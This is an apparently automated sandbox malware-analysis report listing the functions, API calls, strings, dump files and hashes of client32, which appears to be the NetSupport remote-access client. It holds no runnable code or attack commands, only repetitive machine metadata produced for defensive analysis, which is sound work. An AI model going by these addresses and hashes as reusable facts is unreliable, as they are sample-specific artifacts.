Part of subcall function 6859A4E0: LeaveCriticalSection.KERNEL32(685DB898,00000000), ref: 6859A5B3

Strings

1.2, xrefs: 685A6998
BlZh, xrefs: 685A6B88
Publish %d pending services, xrefs: 685A6AAF
Client, xrefs: 685A6AE2
Channel, xrefs: 685A6ADD

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterExchangeInterlockedLeaveSleepTick_memset_strncpy
String ID: 1.2$BlZh$Channel$Client$Publish %d pending services
API String ID: 1112461860-429780693
Opcode ID: 4e352527ea774d9df39beab3d12507b1a7a3a11d5491ca3cd601c78d2979097a
Instruction ID: 5d3ed0157c170679b21c14aa78076d12a51ce1c935d438aa56610adfde399586
Opcode Fuzzy Hash: 4e352527ea774d9df39beab3d12507b1a7a3a11d5491ca3cd601c78d2979097a
Instruction Fuzzy Hash: AA51AD35A043498FEF10DB7CD894BAE7BE5AB46308F910129DE6193281EB31ED45CB99

Function 11141240 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 111412AD
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,?), ref: 111412EE
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114134B

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

FALSE || !"wrong nsmdir", xrefs: 1114130E
nsmdir < GP_MAX, xrefs: 1114126C
..\ctl32\util.cpp, xrefs: 11141267, 11141309

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 1d2eb1ac8d69a6f74e2d2292f6299ccec90df6a61e137f66e811ad89e50a1c5c
Instruction ID: 9db0ad8c4734361e4183e08fa1cc534476f5972450c8a9aa7511e5a375f2920b
Opcode Fuzzy Hash: 1d2eb1ac8d69a6f74e2d2292f6299ccec90df6a61e137f66e811ad89e50a1c5c
Instruction Fuzzy Hash: 42515975E0422E5BDB12CF248C54BDDF7A4AB05B18F2441E4EC89B7681EB717A84CB92

Function 111042A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1110D1BD,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C53E

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11186026,000000FF), ref: 11104373
LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111043C2
std::exception::exception.LIBCMT ref: 11104424
__CxxThrowException@8.LIBCMT ref: 11104439

Strings

Advapi32.dll, xrefs: 11104375
Wtsapi32.dll, xrefs: 1110436E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$CreateEventException@8Throw_memsetstd::exception::exceptionwsprintf
String ID: Advapi32.dll$Wtsapi32.dll
API String ID: 1187064156-2390547818
Opcode ID: 0e7ad8b693c498ee1e4a6f1cf957980c85518d600d03c49e45930bbad189b04a
Instruction ID: bbbd634f828a37cff571ede067cab351b0e944a9bc0c67eb03fa8c0f48524c6c
Opcode Fuzzy Hash: 0e7ad8b693c498ee1e4a6f1cf957980c85518d600d03c49e45930bbad189b04a
Instruction Fuzzy Hash: 594114B5D09B449AC361CF6A8980BDAFBF8EFA9204F00494ED5AE93210D7787500CF51

Function 11135BC0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11135BEA
GetTickCount.KERNEL32 ref: 11135BF1

Strings

DoICFConfig() OK, xrefs: 11135C96
DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 11135CAC
Client, xrefs: 11135C15
AutoICFConfig, xrefs: 11135C10

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: 82e572b6dc09f05acfa617eafdea0c45115b8c530f6da73777df33be47396042
Instruction ID: e3d06188695ac204c7c53c5cb05177b21b7d5d04c4fed9e193d22ae282c8029d
Opcode Fuzzy Hash: 82e572b6dc09f05acfa617eafdea0c45115b8c530f6da73777df33be47396042
Instruction Fuzzy Hash: D021E770A213A64EFF938AE5DD84765FE895780FAEF004139D420956CCE7749480DF56

Function 68599C49 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66sleeptimenetworkCOMMON

Download Yara Rule

APIs

send.WSOCK32(?,?,?,00000000), ref: 68599C93
timeGetTime.WINMM(?,?,?,00000000), ref: 68599CD0
Sleep.KERNEL32(00000000), ref: 68599CDE
LeaveCriticalSection.KERNEL32(?), ref: 68599D4F
InterlockedIncrement.KERNEL32(?), ref: 68599D72

Strings

3', xrefs: 68599CB2

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: CriticalIncrementInterlockedLeaveSectionSleepTimesendtime
String ID: 3'
API String ID: 77915721-280543908
Opcode ID: 442c41e9bc28b70ce4ebe149dcb238cc43588a35f0f8e0baf2466afce3e96441
Instruction ID: 236607c0a8a5709804ead984073072827bcf7aa643f65f3bb03ea8ca8f484ff1
Opcode Fuzzy Hash: 442c41e9bc28b70ce4ebe149dcb238cc43588a35f0f8e0baf2466afce3e96441
Instruction Fuzzy Hash: 63216D75A042288FDF20DF64CC88B9AB7B8AF45314F4542D5E91D9B281CA30ED84CF91

Function 110259E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetProcessImageFileNameA), ref: 110259F6
K32GetProcessImageFileNameA.KERNEL32(?,?,?), ref: 11025A12
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11025A26
SetLastError.KERNEL32(00000078), ref: 11025A49

Strings

GetProcessImageFileNameA, xrefs: 110259F0
GetModuleFileNameExA, xrefs: 11025A20

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: 574c1049adaa66244907c1f724b524b0e4bf3f673811b9f0067a0ab7346ebc51
Instruction ID: 68c8d787ea85bb7251c32f91647a1931aca61929af41b034d7bc2fd00ab8f334
Opcode Fuzzy Hash: 574c1049adaa66244907c1f724b524b0e4bf3f673811b9f0067a0ab7346ebc51
Instruction Fuzzy Hash: 46018036A41315AFD321DF69EC84F8BB7E8EB89765F10452AF986D7600D631E800CBB4

Function 1110C2B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,1110D1D5,Function_0010CD70,00000001,00000000,00000000,00000001), ref: 1110C2C7
CreateThread.KERNEL32(00000000,00000001,00000000,00000000,00000000,0000000C), ref: 1110C2EA
WaitForSingleObject.KERNEL32(?,000000FF,?,1110D1D5,Function_0010CD70,00000001,00000000,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C317
CloseHandle.KERNEL32(?,?,1110D1D5,Function_0010CD70,00000001,00000000,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C321

Strings

hThread, xrefs: 1110C300
..\ctl32\Refcount.cpp, xrefs: 1110C2FB

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 3360349984-1136101629
Opcode ID: c3790b5b1b7a227f0163c935fda81ea00c8c7f3da45704e0867b963cb20d20f9
Instruction ID: a3115959ccdc6595f724f67194249590caf2e9fcdd86f69c2c7dc21ad5a21c7d
Opcode Fuzzy Hash: c3790b5b1b7a227f0163c935fda81ea00c8c7f3da45704e0867b963cb20d20f9
Instruction Fuzzy Hash: 2D01D4367403126FE7208E99DC89F4BBBA8EB54765F108128FA15876C0DA70E404CBA0

Function 110313B0 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110313F7

Strings

_SW, xrefs: 110313CC
_HF, xrefs: 110313D8, 110313DD
_HW, xrefs: 110313C0
%s%s%s.bin, xrefs: 110313F1
830021, xrefs: 110313DE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$830021$_HF$_HW$_SW
API String ID: 2111968516-667147739
Opcode ID: 6ee20e8f6fb76372610271b0b8adebac1fa156d7fec8b42d91c02657696d9c88
Instruction ID: fca8ef28a5c1b47a0d785ddae3209236aee7f502678e08843e7b704547fe2850
Opcode Fuzzy Hash: 6ee20e8f6fb76372610271b0b8adebac1fa156d7fec8b42d91c02657696d9c88
Instruction Fuzzy Hash: D5E09BA0D2060C5FF3005159AC01BAFBBAC1F4434AF80C0D0FEE9A6A82E974944086D5

Function 110FFCC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 110FFD13
GetStockObject.GDI32(00000004), ref: 110FFD6B
RegisterClassA.USER32(?), ref: 110FFD7F
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,11000000,00000000), ref: 110FFDBC

Strings

NSMDesktopWnd, xrefs: 110FFCF9, 110FFD78, 110FFDB6

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: ba085a4a298ca2a35e46e8f911681fa87c9a64f63bde971845e5a7b50153441a
Instruction ID: e76810456149084fb848040635d8e5dd78421bccde4647aa26b9c0cc0d967c72
Opcode Fuzzy Hash: ba085a4a298ca2a35e46e8f911681fa87c9a64f63bde971845e5a7b50153441a
Instruction Fuzzy Hash: 0231F7B5D01259AFCB41DFA9D880A9EFBF8FB09314F50862EE569E3240E7345940CF95

Function 11139340 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,00000000,TermUI...), ref: 111393AA
KillTimer.USER32(00000000,00007F24,TermUI...), ref: 111393C3
FreeLibrary.KERNEL32(75B40000,?,TermUI...), ref: 1113943B
FreeLibrary.KERNEL32(00000000,?,TermUI...), ref: 11139453

Strings

TermUI, xrefs: 11139342

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeKillLibraryTimer
String ID: TermUI
API String ID: 2006562601-4085834059
Opcode ID: 5e01743d874b38865cae7b9e648c311240cd0068f3dd68cbc61febb588e4f90f
Instruction ID: bc9711c706b9d41bf1b1aa53e8d725085e588c5fb78ea17b568d689d6d6e9679
Opcode Fuzzy Hash: 5e01743d874b38865cae7b9e648c311240cd0068f3dd68cbc61febb588e4f90f
Instruction Fuzzy Hash: F03158B16135349BD202DFE9CDC0A7AFBAAABC5B1C711402AF4258720CF770A841CF92

Function 111419A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?), ref: 11141A10
RegCloseKey.ADVAPI32(?), ref: 11141A74

Strings

SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 111419F0
ForceRTL, xrefs: 11141A33
SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 111419D7, 11141A0E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: e63fc0104197c16285f621861676926228ecfc9fc055fc562086e3d717edca7f
